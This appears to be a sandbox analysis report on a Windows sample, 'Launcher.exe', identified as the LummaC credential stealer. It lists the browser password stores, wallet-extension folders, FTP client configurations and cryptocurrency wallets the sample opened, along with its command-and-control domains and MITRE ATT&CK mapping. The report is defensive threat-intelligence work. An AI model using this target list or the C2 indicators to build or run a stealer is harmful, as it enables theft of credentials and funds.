Source: C:\Users\user\Desktop\Launcher.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\ffnbelfdoeiohenkjibnmadjiehjhajb	Jump to behavior
Source: C:\Users\user\Desktop\Launcher.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\hpglfhgfnhbgpjdenjgmdgoeiappafln	Jump to behavior
Source: C:\Users\user\Desktop\Launcher.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\abogmiocnneedmmepnohnhlijcjpcifd	Jump to behavior
Source: C:\Users\user\Desktop\Launcher.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\dngmlblcodfobpdpecaadgfbcggfjfnm	Jump to behavior
Source: C:\Users\user\Desktop\Launcher.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\aeachknmefphepccionboohckonoeemg	Jump to behavior
Source: C:\Users\user\Desktop\Launcher.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\fnjhmkhhmkbjkkabndcnnogagogbneec	Jump to behavior
Source: C:\Users\user\Desktop\Launcher.exe	File opened: C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles\v6zchhhv.default-release\logins.json	Jump to behavior
Source: C:\Users\user\Desktop\Launcher.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\nkbihfbeogaeaoehlefnkodbefgpgknn	Jump to behavior
Source: C:\Users\user\Desktop\Launcher.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\aholpfdialjgjfhomihkjbmgjidlcdno	Jump to behavior
Source: C:\Users\user\Desktop\Launcher.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\hcflpincpppdclinealmandijcmnkbgn	Jump to behavior
Source: C:\Users\user\Desktop\Launcher.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\acmacodkjbdgmoleebolmdjonilkdbch	Jump to behavior
Source: C:\Users\user\Desktop\Launcher.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Login Data For Account	Jump to behavior
Source: C:\Users\user\Desktop\Launcher.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\kpfopkelmapcoipemfendmdcghnegimn	Jump to behavior
Source: C:\Users\user\Desktop\Launcher.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\mmmjbcfofconkannjonfmjjajpllddbg	Jump to behavior
Source: C:\Users\user\Desktop\Launcher.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\nhnkbkgjikgcigadomkphalanndcapjk	Jump to behavior
Source: C:\Users\user\Desktop\Launcher.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\hdokiejnpimakedhajhdlcegeplioahd	Jump to behavior
Source: C:\Users\user\Desktop\Launcher.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\kjmoohlgokccodicjjfebfomlbljgfhk	Jump to behavior
Source: C:\Users\user\Desktop\Launcher.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\ibnejdfjmmkpcnlpebklmnkoeoihofec	Jump to behavior
Source: C:\Users\user\Desktop\Launcher.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\dmkamcknogkgcdfhhbddcghachkejeap	Jump to behavior
Source: C:\Users\user\Desktop\Launcher.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\flpiciilemghbmfalicajoolhkkenfe	Jump to behavior
Source: C:\Users\user\Desktop\Launcher.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\bhghoamapcdpbohphigoooaddinpkbai	Jump to behavior
Source: C:\Users\user\Desktop\Launcher.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\ijmpgkjfkbfhoebgogflfebnmejmfbm	Jump to behavior
Source: C:\Users\user\Desktop\Launcher.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\ookjlbkiijinhpmnjffcofjonbfbgaoc	Jump to behavior
Source: C:\Users\user\Desktop\Launcher.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\aeblfdkhhhdcdjpifhhbdiojplfjncoa	Jump to behavior
Source: C:\Users\user\Desktop\Launcher.exe	File opened: C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles\v6zchhhv.default-release\places.sqlite	Jump to behavior
Source: C:\Users\user\Desktop\Launcher.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\efbglgofoippbgcjepnhiblaibcnclgk	Jump to behavior
Source: C:\Users\user\Desktop\Launcher.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\klnaejjgbibmhlephnhpmaofohgkpgkd	Jump to behavior
Source: C:\Users\user\Desktop\Launcher.exe	File opened: C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles\v6zchhhv.default-release\key4.db	Jump to behavior
Source: C:\Users\user\Desktop\Launcher.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\kncchdigobghenbbaddojjnnaogfppfj	Jump to behavior
Source: C:\Users\user\Desktop\Launcher.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\jojhfeoedkpkglbfimdfabpdfjaoolaf	Jump to behavior
Source: C:\Users\user\Desktop\Launcher.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\cphhlgmgameodnhkjdmkpanlelnlohao	Jump to behavior

Tries to harvest and steal ftp login credentials

Source: C:\Users\user\Desktop\Launcher.exe	File opened: C:\Users\user\AppData\Roaming\FTPbox	Jump to behavior
Source: C:\Users\user\Desktop\Launcher.exe	File opened: C:\Users\user\AppData\Roaming\SmartFTP\Client 2.0\Favorites	Jump to behavior
Source: C:\Users\user\Desktop\Launcher.exe	File opened: C:\Users\user\AppData\Roaming\FTPGetter	Jump to behavior
Source: C:\Users\user\Desktop\Launcher.exe	File opened: C:\Users\user\AppData\Roaming\Conceptworld\Notezilla	Jump to behavior
Source: C:\Users\user\Desktop\Launcher.exe	File opened: C:\Users\user\AppData\Roaming\FTPInfo	Jump to behavior
Source: C:\Users\user\Desktop\Launcher.exe	File opened: C:\ProgramData\SiteDesigner\3D-FTP	Jump to behavior
Source: C:\Users\user\Desktop\Launcher.exe	File opened: C:\Users\user\AppData\Roaming\FTPRush	Jump to behavior

Tries to steal Crypto Currency Wallets

Source: C:\Users\user\Desktop\Launcher.exe	File opened: C:\Users\user\AppData\Roaming\Exodus\exodus.wallet	Jump to behavior
Source: C:\Users\user\Desktop\Launcher.exe	File opened: C:\Users\user\AppData\Roaming\Exodus\exodus.wallet	Jump to behavior
Source: C:\Users\user\Desktop\Launcher.exe	File opened: C:\Users\user\AppData\Roaming\Ledger Live	Jump to behavior
Source: C:\Users\user\Desktop\Launcher.exe	File opened: C:\Users\user\AppData\Roaming\atomic\Local Storage\leveldb	Jump to behavior
Source: C:\Users\user\Desktop\Launcher.exe	File opened: C:\Users\user\AppData\Local\Coinomi\Coinomi\wallets	Jump to behavior
Source: C:\Users\user\Desktop\Launcher.exe	File opened: C:\Users\user\AppData\Local\Coinomi\Coinomi\wallets	Jump to behavior
Source: C:\Users\user\Desktop\Launcher.exe	File opened: C:\Users\user\AppData\Roaming\Bitcoin\wallets	Jump to behavior
Source: C:\Users\user\Desktop\Launcher.exe	File opened: C:\Users\user\AppData\Roaming\Binance	Jump to behavior
Source: C:\Users\user\Desktop\Launcher.exe	File opened: C:\Users\user\AppData\Roaming\com.liberty.jaxx\IndexedDB	Jump to behavior
Source: C:\Users\user\Desktop\Launcher.exe	File opened: C:\Users\user\AppData\Roaming\Electrum\wallets	Jump to behavior
Source: C:\Users\user\Desktop\Launcher.exe	File opened: C:\Users\user\AppData\Roaming\Electrum-LTC\wallets	Jump to behavior
Source: C:\Users\user\Desktop\Launcher.exe	File opened: C:\Users\user\AppData\Roaming\Guarda\IndexedDB	Jump to behavior

Source: C:\Users\user\Desktop\Launcher.exe	Directory queried: C:\Users\user\Documents\EWZCVGNOWT	Jump to behavior
Source: C:\Users\user\Desktop\Launcher.exe	Directory queried: C:\Users\user\Documents\EWZCVGNOWT	Jump to behavior
Source: C:\Users\user\Desktop\Launcher.exe	Directory queried: C:\Users\user\Documents\NYMMPCEIMA	Jump to behavior
Source: C:\Users\user\Desktop\Launcher.exe	Directory queried: C:\Users\user\Documents\NYMMPCEIMA	Jump to behavior
Source: C:\Users\user\Desktop\Launcher.exe	Directory queried: C:\Users\user\Documents\BJZFPPWAPT	Jump to behavior
Source: C:\Users\user\Desktop\Launcher.exe	Directory queried: C:\Users\user\Documents\BJZFPPWAPT	Jump to behavior
Source: C:\Users\user\Desktop\Launcher.exe	Directory queried: C:\Users\user\Documents\EWZCVGNOWT	Jump to behavior
Source: C:\Users\user\Desktop\Launcher.exe	Directory queried: C:\Users\user\Documents\EWZCVGNOWT	Jump to behavior

Source: Yara match	File source: 00000003.00000003.2349716206.0000000000FF6000.00000004.00000020.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000003.00000003.2348231788.0000000000FF3000.00000004.00000020.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000003.00000003.2346332053.0000000000FF3000.00000004.00000020.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000003.00000003.2348803317.0000000000FF3000.00000004.00000020.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000003.00000003.2343011519.0000000000FF3000.00000004.00000020.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000003.00000003.2349091115.0000000000FF3000.00000004.00000020.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000003.00000003.2346946917.0000000000FF3000.00000004.00000020.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000003.00000003.2183979276.0000000000FF3000.00000004.00000020.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000003.00000003.2343830924.0000000000FF3000.00000004.00000020.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000003.00000003.2345580376.0000000000FF3000.00000004.00000020.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000003.00000003.2347665217.0000000000FF3000.00000004.00000020.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000003.00000003.2318603921.0000000000FF3000.00000004.00000020.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000003.00000003.2344743144.0000000000FF3000.00000004.00000020.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: Process Memory Space: Launcher.exe PID: 6292, type: MEMORYSTR

Remote Access Functionality

Yara detected LummaC Stealer

Source: Yara match	File source: Process Memory Space: Launcher.exe PID: 6292, type: MEMORYSTR
Source: Yara match	File source: sslproxydump.pcap, type: PCAP
Source: Yara match	File source: decrypted.memstr, type: MEMORYSTR

Mitre Att&ck Matrix

Reconnaissance	Resource Development	Initial Access	Execution	Persistence	Privilege Escalation	Defense Evasion	Credential Access	Discovery	Lateral Movement	Collection	Command and Control	Exfiltration	Impact
Gather Victim Identity Information	Acquire Infrastructure	Valid Accounts	2 Windows Management Instrumentation	1 DLL Side-Loading	211 Process Injection	12 Virtualization/Sandbox Evasion	2 OS Credential Dumping	1 System Time Discovery	Remote Services	1 Archive Collected Data	11 Encrypted Channel	Exfiltration Over Other Network Medium	Abuse Accessibility Features
Credentials	Domains	Default Accounts	1 Native API	Boot or Logon Initialization Scripts	1 DLL Side-Loading	211 Process Injection	LSASS Memory	1 Query Registry	Remote Desktop Protocol	41 Data from Local System	1 Ingress Tool Transfer	Exfiltration Over Bluetooth	Network Denial of Service
Email Addresses	DNS Server	Domain Accounts	1 PowerShell	Logon Script (Windows)	Logon Script (Windows)	11 Deobfuscate/Decode Files or Information	Security Account Manager	151 Security Software Discovery	SMB/Windows Admin Shares	Data from Network Shared Drive	3 Non-Application Layer Protocol	Automated Exfiltration	Data Encrypted for Impact
Employee Names	Virtual Private Server	Local Accounts	Cron	Login Hook	Login Hook	2 Obfuscated Files or Information	NTDS	12 Virtualization/Sandbox Evasion	Distributed Component Object Model	Input Capture	114 Application Layer Protocol	Traffic Duplication	Data Destruction
Gather Victim Network Information	Server	Cloud Accounts	Launchd	Network Logon Script	Network Logon Script	1 Software Packing	LSA Secrets	1 Process Discovery	SSH	Keylogging	Fallback Channels	Scheduled Transfer	Data Encrypted for Impact
Domain Properties	Botnet	Replication Through Removable Media	Scheduled Task	RC Scripts	RC Scripts	1 DLL Side-Loading	Cached Domain Credentials	11 File and Directory Discovery	VNC	GUI Input Capture	Multiband Communication	Data Transfer Size Limits	Service Stop
DNS	Web Services	External Remote Services	Systemd Timers	Startup Items	Startup Items	Compile After Delivery	DCSync	33 System Information Discovery	Windows Remote Management	Web Portal Capture	Commonly Used Port	Exfiltration Over C2 Channel	Inhibit System Recovery

Behavior Graph

Hide Legend

Legend:

Process
Signature
Created File
DNS/IP Info
Is Dropped
Is Windows Process
Number of created Registry Values
Number of created Files
Visual Basic
Delphi
Java
.Net C# or VB.NET
C, C++ or other language
Is malicious
Internet

Source	Detection	Scanner	Label	Link
Launcher.exe	44%	Virustotal		Browse
Launcher.exe	39%	ReversingLabs	Win32.Trojan.Lumma
Launcher.exe	100%	Joe Sandbox ML

Source	Detection	Scanner	Label
sustainskelet.lat	0%	URL Reputation	safe
crosshuaht.lat	0%	URL Reputation	safe
energyaffai.lat	0%	URL Reputation	safe
necklacebudi.lat	0%	URL Reputation	safe

Name	IP	Active	Malicious	Antivirus Detection	Reputation
steamcommunity.com	23.55.153.106	true	false		high
lev-tolstoi.com	104.21.66.86	true	false		high
sustainskelet.lat	unknown	unknown	true	0%, URL Reputation	unknown
crosshuaht.lat	unknown	unknown	true	0%, URL Reputation	unknown
rapeflowwj.lat	unknown	unknown	false		high
grannyejh.lat	unknown	unknown	false		high
aspecteirs.lat	unknown	unknown	false		high
sweepyribs.lat	unknown	unknown	false		high
discokeyus.lat	unknown	unknown	false		high
energyaffai.lat	unknown	unknown	true	0%, URL Reputation	unknown
necklacebudi.lat	unknown	unknown	true	0%, URL Reputation	unknown

Contacted URLs

Name	Malicious	Reputation
aspecteirs.lat	false	high
sweepyribs.lat	false	high
sustainskelet.lat	false	high
rapeflowwj.lat	false	high
https://steamcommunity.com/profiles/76561199724331900	false	high
energyaffai.lat	false	high
https://lev-tolstoi.com/api	false	high
grannyejh.lat	false	high
necklacebudi.lat	false	high
crosshuaht.lat	false	high

URLs from Memory and Binaries

Name	Source	Malicious	Reputation
https://community.fastly.steamstatic.com/public/shared/images/responsive/header_menu_hamburger.png	Launcher.exe, 00000003.00000003.2133076167.0000000000FE2000.00000004.00000020.00020000.00000000.sdmp, Launcher.exe, 00000003.00000003.2133144596.0000000000FDB000.00000004.00000020.00020000.00000000.sdmp, Launcher.exe, 00000003.00000003.2133013260.0000000000FDF000.00000004.00000020.00020000.00000000.sdmp, Launcher.exe, 00000003.00000003.2132890547.0000000000FD8000.00000004.00000020.00020000.00000000.sdmp	false	high
https://duckduckgo.com/chrome_newtab	Launcher.exe, 00000003.00000003.2159242491.0000000003A0C000.00000004.00000800.00020000.00000000.sdmp, Launcher.exe, 00000003.00000003.2159305069.0000000003A09000.00000004.00000800.00020000.00000000.sdmp, Launcher.exe, 00000003.00000003.2159379580.0000000003A09000.00000004.00000800.00020000.00000000.sdmp	false	high
https://duckduckgo.com/ac/?q=	Launcher.exe, 00000003.00000003.2159242491.0000000003A0C000.00000004.00000800.00020000.00000000.sdmp, Launcher.exe, 00000003.00000003.2159305069.0000000003A09000.00000004.00000800.00020000.00000000.sdmp, Launcher.exe, 00000003.00000003.2159379580.0000000003A09000.00000004.00000800.00020000.00000000.sdmp	false	high
https://community.fastly.steamstatic.com/public/css/promo/summer2017/stickers.css?v=Ncr6N09yZIap&amp	Launcher.exe, 00000003.00000003.2133076167.0000000000FE2000.00000004.00000020.00020000.00000000.sdmp, Launcher.exe, 00000003.00000003.2133013260.0000000000FDF000.00000004.00000020.00020000.00000000.sdmp, Launcher.exe, 00000003.00000003.2132890547.0000000000FD8000.00000004.00000020.00020000.00000000.sdmp	false	high
https://steamcommunity.com/?subsection=broadcasts	Launcher.exe, 00000003.00000003.2133076167.0000000000FE2000.00000004.00000020.00020000.00000000.sdmp, Launcher.exe, 00000003.00000003.2133013260.0000000000FDF000.00000004.00000020.00020000.00000000.sdmp, Launcher.exe, 00000003.00000003.2132890547.0000000000FD8000.00000004.00000020.00020000.00000000.sdmp	false	high
https://bridge.sfo1.admarketplace.net/ctp?version=16.0.0&key=1696425136400800000.2&ci=1696425136743.	Launcher.exe, 00000003.00000003.2342762668.00000000039FA000.00000004.00000800.00020000.00000000.sdmp, Launcher.exe, 00000003.00000003.2342989032.00000000039FB000.00000004.00000800.00020000.00000000.sdmp	false	high
https://store.steampowered.com/subscriber_agreement/	Launcher.exe, 00000003.00000003.2133076167.0000000000FE2000.00000004.00000020.00020000.00000000.sdmp, Launcher.exe, 00000003.00000003.2133144596.0000000000FDB000.00000004.00000020.00020000.00000000.sdmp, Launcher.exe, 00000003.00000003.2133013260.0000000000FDF000.00000004.00000020.00020000.00000000.sdmp, Launcher.exe, 00000003.00000003.2132890547.0000000000FD8000.00000004.00000020.00020000.00000000.sdmp	false	high
https://community.fastly.steamstatic.com/public/javascript/applications/community/manifest.js?v=hyEE	Launcher.exe, 00000003.00000003.2132890547.0000000000FD4000.00000004.00000020.00020000.00000000.sdmp, Launcher.exe, 00000003.00000003.2133076167.0000000000FE2000.00000004.00000020.00020000.00000000.sdmp, Launcher.exe, 00000003.00000003.2133013260.0000000000FDF000.00000004.00000020.00020000.00000000.sdmp, Launcher.exe, 00000003.00000003.2132890547.0000000000FD8000.00000004.00000020.00020000.00000000.sdmp	false	high
http://www.valvesoftware.com/legal.htm	Launcher.exe, 00000003.00000003.2133076167.0000000000FE2000.00000004.00000020.00020000.00000000.sdmp, Launcher.exe, 00000003.00000003.2133144596.0000000000FDB000.00000004.00000020.00020000.00000000.sdmp, Launcher.exe, 00000003.00000003.2133013260.0000000000FDF000.00000004.00000020.00020000.00000000.sdmp, Launcher.exe, 00000003.00000003.2132890547.0000000000FD8000.00000004.00000020.00020000.00000000.sdmp	false	high
https://community.fastly.steamstatic.com/public/shared/css/shared_global.css?v=wuA4X_n5-mo0&l=en	Launcher.exe, 00000003.00000003.2133076167.0000000000FE2000.00000004.00000020.00020000.00000000.sdmp, Launcher.exe, 00000003.00000003.2133013260.0000000000FDF000.00000004.00000020.00020000.00000000.sdmp, Launcher.exe, 00000003.00000003.2132890547.0000000000FD8000.00000004.00000020.00020000.00000000.sdmp	false	high
https://lev-tolstoi.com/urT	Launcher.exe, 00000003.00000003.2318562532.000000000101B000.00000004.00000020.00020000.00000000.sdmp	false	unknown
https://community.fastly.steamstatic.com/public/shared/im	Launcher.exe, 00000003.00000003.2133144596.0000000000FDB000.00000004.00000020.00020000.00000000.sdmp	false	high
https://lev-tolstoi.com/S	Launcher.exe, 00000003.00000003.2183979276.0000000000FEA000.00000004.00000020.00020000.00000000.sdmp	false	unknown
https://www.valvesoftware.com/en/contact?contact-person=Translation%20Team%20Feedback	Launcher.exe, 00000003.00000003.2133076167.0000000000FE2000.00000004.00000020.00020000.00000000.sdmp, Launcher.exe, 00000003.00000003.2133013260.0000000000FDF000.00000004.00000020.00020000.00000000.sdmp, Launcher.exe, 00000003.00000003.2132890547.0000000000FD8000.00000004.00000020.00020000.00000000.sdmp	false	high
https://community.fastly.steamstatic.com/public/javascript/applications/community/libraries~b28b7af6	Launcher.exe, 00000003.00000003.2132890547.0000000000FD4000.00000004.00000020.00020000.00000000.sdmp, Launcher.exe, 00000003.00000003.2133076167.0000000000FE2000.00000004.00000020.00020000.00000000.sdmp, Launcher.exe, 00000003.00000003.2133013260.0000000000FDF000.00000004.00000020.00020000.00000000.sdmp, Launcher.exe, 00000003.00000003.2132890547.0000000000FD8000.00000004.00000020.00020000.00000000.sdmp	false	high
https://community.fastly.steamstatic.com/public/shared/css/motiva_sans.css?v=-yZgCk0Nu7kH&l=engl	Launcher.exe, 00000003.00000003.2132890547.0000000000FD8000.00000004.00000020.00020000.00000000.sdmp	false	high
https://community.fastly.steamstatic.com/public/css/skin_1/profilev2.css?v=fe66ET2uI50l&l=englis	Launcher.exe, 00000003.00000003.2133076167.0000000000FE2000.00000004.00000020.00020000.00000000.sdmp, Launcher.exe, 00000003.00000003.2133013260.0000000000FDF000.00000004.00000020.00020000.00000000.sdmp, Launcher.exe, 00000003.00000003.2132890547.0000000000FD8000.00000004.00000020.00020000.00000000.sdmp	false	high
https://community.fastly.steamstatic.com/public/javascript/scriptaculous/_combined.js?v=pbdAKOcDIgbC	Launcher.exe, 00000003.00000003.2133076167.0000000000FE2000.00000004.00000020.00020000.00000000.sdmp, Launcher.exe, 00000003.00000003.2133013260.0000000000FDF000.00000004.00000020.00020000.00000000.sdmp, Launcher.exe, 00000003.00000003.2132890547.0000000000FD8000.00000004.00000020.00020000.00000000.sdmp	false	high
https://lev-tolstoi.com/piC	Launcher.exe, 00000003.00000003.2482098262.0000000000FEA000.00000004.00000020.00020000.00000000.sdmp, Launcher.exe, 00000003.00000002.2483176433.0000000000FEA000.00000004.00000020.00020000.00000000.sdmp	false	unknown
https://community.fastly.steamstatic.com/public/images/skin_1/footerLogo_valve.png?v=1	Launcher.exe, 00000003.00000003.2350321053.0000000000FEA000.00000004.00000020.00020000.00000000.sdmp, Launcher.exe, 00000003.00000003.2132890547.0000000000FD4000.00000004.00000020.00020000.00000000.sdmp, Launcher.exe, 00000003.00000003.2346332053.0000000000FEA000.00000004.00000020.00020000.00000000.sdmp, Launcher.exe, 00000003.00000003.2482098262.0000000000FEA000.00000004.00000020.00020000.00000000.sdmp, Launcher.exe, 00000003.00000003.2133076167.0000000000FE2000.00000004.00000020.00020000.00000000.sdmp, Launcher.exe, 00000003.00000003.2348231788.0000000000FEA000.00000004.00000020.00020000.00000000.sdmp, Launcher.exe, 00000003.00000003.2343830924.0000000000FEA000.00000004.00000020.00020000.00000000.sdmp, Launcher.exe, 00000003.00000003.2349091115.0000000000FEA000.00000004.00000020.00020000.00000000.sdmp, Launcher.exe, 00000003.00000003.2347665217.0000000000FEA000.00000004.00000020.00020000.00000000.sdmp, Launcher.exe, 00000003.00000003.2343011519.0000000000FEA000.00000004.00000020.00020000.00000000.sdmp, Launcher.exe, 00000003.00000003.2349767095.0000000000FEA000.00000004.00000020.00020000.00000000.sdmp, Launcher.exe, 00000003.00000003.2183979276.0000000000FEA000.00000004.00000020.00020000.00000000.sdmp, Launcher.exe, 00000003.00000003.2345580376.0000000000FEA000.00000004.00000020.00020000.00000000.sdmp, Launcher.exe, 00000003.00000003.2158039808.0000000000FEA000.00000004.00000020.00020000.00000000.sdmp, Launcher.exe, 00000003.00000003.2318603921.0000000000FEA000.00000004.00000020.00020000.00000000.sdmp, Launcher.exe, 00000003.00000003.2373792847.0000000000FEA000.00000004.00000020.00020000.00000000.sdmp, Launcher.exe, 00000003.00000003.2344743144.0000000000FEA000.00000004.00000020.00020000.00000000.sdmp, Launcher.exe, 00000003.00000003.2133013260.0000000000FDF000.00000004.00000020.00020000.00000000.sdmp, Launcher.exe, 00000003.00000002.2483176433.0000000000FEA000.00000004.00000020.00020000.00000000.sdmp, Launcher.exe, 00000003.00000003.2346946917.0000000000FEA000.00000004.00000020.00020000.00000000.sdmp, Launcher.exe, 00000003.00000003.2132890547.0000000000FD8000.00000004.00000020.00020000.00000000.sdmp	false	high
https://community.fastly.steamstatic.com/public/shared/css/buttons.css?v=qhQgyjWi6LgJ&l=english&	Launcher.exe, 00000003.00000003.2133076167.0000000000FE2000.00000004.00000020.00020000.00000000.sdmp, Launcher.exe, 00000003.00000003.2133013260.0000000000FDF000.00000004.00000020.00020000.00000000.sdmp, Launcher.exe, 00000003.00000003.2132890547.0000000000FD8000.00000004.00000020.00020000.00000000.sdmp	false	high
https://community.fastly.steamstatic.com/public/javascript/promo/stickers.js?v=CcLRHsa04otQ&l=en	Launcher.exe, 00000003.00000003.2132890547.0000000000FD4000.00000004.00000020.00020000.00000000.sdmp, Launcher.exe, 00000003.00000003.2133076167.0000000000FE2000.00000004.00000020.00020000.00000000.sdmp, Launcher.exe, 00000003.00000003.2133013260.0000000000FDF000.00000004.00000020.00020000.00000000.sdmp, Launcher.exe, 00000003.00000003.2132890547.0000000000FD8000.00000004.00000020.00020000.00000000.sdmp	false	high
https://lev-tolstoi.com/	Launcher.exe, 00000003.00000003.2482019704.000000000101D000.00000004.00000020.00020000.00000000.sdmp, Launcher.exe, 00000003.00000003.2133076167.0000000000FE2000.00000004.00000020.00020000.00000000.sdmp, Launcher.exe, 00000003.00000003.2183979276.0000000000F90000.00000004.00000020.00020000.00000000.sdmp, Launcher.exe, 00000003.00000003.2343830924.0000000000FEA000.00000004.00000020.00020000.00000000.sdmp, Launcher.exe, 00000003.00000003.2343011519.0000000000FEA000.00000004.00000020.00020000.00000000.sdmp, Launcher.exe, 00000003.00000003.2183979276.0000000000FEA000.00000004.00000020.00020000.00000000.sdmp, Launcher.exe, 00000003.00000003.2158039808.0000000000FEA000.00000004.00000020.00020000.00000000.sdmp, Launcher.exe, 00000003.00000002.2483291933.000000000101D000.00000004.00000020.00020000.00000000.sdmp, Launcher.exe, 00000003.00000003.2318603921.0000000000FEA000.00000004.00000020.00020000.00000000.sdmp, Launcher.exe, 00000003.00000003.2133013260.0000000000FDF000.00000004.00000020.00020000.00000000.sdmp, Launcher.exe, 00000003.00000003.2132890547.0000000000FD8000.00000004.00000020.00020000.00000000.sdmp	false	high
http://store.steampowered.com/privacy_agreement/	Launcher.exe, 00000003.00000003.2350321053.0000000000FEA000.00000004.00000020.00020000.00000000.sdmp, Launcher.exe, 00000003.00000003.2132890547.0000000000FD4000.00000004.00000020.00020000.00000000.sdmp, Launcher.exe, 00000003.00000003.2346332053.0000000000FEA000.00000004.00000020.00020000.00000000.sdmp, Launcher.exe, 00000003.00000003.2482098262.0000000000FEA000.00000004.00000020.00020000.00000000.sdmp, Launcher.exe, 00000003.00000003.2133076167.0000000000FE2000.00000004.00000020.00020000.00000000.sdmp, Launcher.exe, 00000003.00000003.2348231788.0000000000FEA000.00000004.00000020.00020000.00000000.sdmp, Launcher.exe, 00000003.00000003.2343830924.0000000000FEA000.00000004.00000020.00020000.00000000.sdmp, Launcher.exe, 00000003.00000003.2349091115.0000000000FEA000.00000004.00000020.00020000.00000000.sdmp, Launcher.exe, 00000003.00000003.2347665217.0000000000FEA000.00000004.00000020.00020000.00000000.sdmp, Launcher.exe, 00000003.00000003.2343011519.0000000000FEA000.00000004.00000020.00020000.00000000.sdmp, Launcher.exe, 00000003.00000003.2349767095.0000000000FEA000.00000004.00000020.00020000.00000000.sdmp, Launcher.exe, 00000003.00000003.2183979276.0000000000FEA000.00000004.00000020.00020000.00000000.sdmp, Launcher.exe, 00000003.00000003.2345580376.0000000000FEA000.00000004.00000020.00020000.00000000.sdmp, Launcher.exe, 00000003.00000003.2158039808.0000000000FEA000.00000004.00000020.00020000.00000000.sdmp, Launcher.exe, 00000003.00000003.2318603921.0000000000FEA000.00000004.00000020.00020000.00000000.sdmp, Launcher.exe, 00000003.00000003.2373792847.0000000000FEA000.00000004.00000020.00020000.00000000.sdmp, Launcher.exe, 00000003.00000003.2344743144.0000000000FEA000.00000004.00000020.00020000.00000000.sdmp, Launcher.exe, 00000003.00000003.2133013260.0000000000FDF000.00000004.00000020.00020000.00000000.sdmp, Launcher.exe, 00000003.00000002.2483176433.0000000000FEA000.00000004.00000020.00020000.00000000.sdmp, Launcher.exe, 00000003.00000003.2346946917.0000000000FEA000.00000004.00000020.00020000.00000000.sdmp, Launcher.exe, 00000003.00000003.2132890547.0000000000FD8000.00000004.00000020.00020000.00000000.sdmp	false	high
https://store.steampowered.com/points/shop/	Launcher.exe, 00000003.00000003.2133076167.0000000000FE2000.00000004.00000020.00020000.00000000.sdmp, Launcher.exe, 00000003.00000003.2133013260.0000000000FDF000.00000004.00000020.00020000.00000000.sdmp, Launcher.exe, 00000003.00000003.2132890547.0000000000FD8000.00000004.00000020.00020000.00000000.sdmp	false	high
https://duckduckgo.com/favicon.icohttps://duckduckgo.com/?q=	Launcher.exe, 00000003.00000003.2159242491.0000000003A0C000.00000004.00000800.00020000.00000000.sdmp, Launcher.exe, 00000003.00000003.2159305069.0000000003A09000.00000004.00000800.00020000.00000000.sdmp, Launcher.exe, 00000003.00000003.2159379580.0000000003A09000.00000004.00000800.00020000.00000000.sdmp	false	high
http://crl.rootca1.amazontrust.com/rootca1.crl0	Launcher.exe, 00000003.00000003.2319197118.0000000003A1C000.00000004.00000800.00020000.00000000.sdmp	false	high
http://ocsp.rootca1.amazontrust.com0:	Launcher.exe, 00000003.00000003.2319197118.0000000003A1C000.00000004.00000800.00020000.00000000.sdmp	false	high
